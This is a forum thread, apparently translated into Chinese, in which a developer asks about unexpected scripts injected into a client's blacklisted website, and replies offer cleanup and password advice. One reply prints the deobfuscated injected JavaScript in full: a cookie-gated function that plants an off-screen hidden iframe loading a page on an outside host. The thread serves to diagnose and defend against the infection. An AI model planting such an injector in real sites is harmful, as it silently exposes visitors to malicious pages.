我大约一年半前开发了一个网站。它是非常基本和简单的 html 和很少的 javascript。但是突然客户告诉我他的网站被列入黑名单，并且在谷歌中显示“可能会损害您的计算机.. .” msg。我查看了网站的视图源，发现那里有一些额外的脚本。我将其升级到 html5 并要求他删除所有以前的文件并放入新文件。效果很好，并且清楚地被列入黑名单。只是现在出于好奇，我检查了该网站，在访问“找不到网址”时，一个角落出现了一条消息（仅第一次），并且在源代码中还有一些像以前一样的附加脚本。我只是从源代码中复制了它。

我不知道这是什么？是恶意软件还是什么？如果是某种恶意软件，我应该怎么做以及如何预防？我担心它会再次被列入黑名单。

任何想法或建议将不胜感激提前谢谢

确认它是恶意软件 - 请参阅下面的链接。似乎是一个泄露的管理员密码。首先改变它。

它是一个 Wordpress 网站吗？我听说过Better WP 安全插件的好消息，但我对它不太熟悉。

如果不是 Wordpress - 看到你说的“简单的 html，小 javascript”检查任何形式的 SQL 注入可能性等，更改 FTP 密码。

祝你好运！

去混淆后，这是你得到的代码：

function zkmh09() {
 var static='ajax';
 var controller='index.php';
 var zkmh = document.createElement('iframe');

 zkmh.src = 'http://rietavas.com/VwzfrgMK.php';
 zkmh.style.position = 'absolute';
 zkmh.style.color = '406';
 zkmh.style.height = '406px';
 zkmh.style.width = '406px';
 zkmh.style.left = '1000406';
 zkmh.style.top = '1000406';

 if (!document.getElementById('zkmh')) {
 document.write('<p id=\'zkmh\' class=\'zkmh09\' ></p>');
 document.getElementById('zkmh').appendChild(zkmh);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zkmh09();
}
}

如您所见，它创建了一个 iframe 元素并将 ajax 请求发送到http://ri ***vas.com/Vwz***MK.php 页面。它还有另外两个功能来设置和获取cookies。
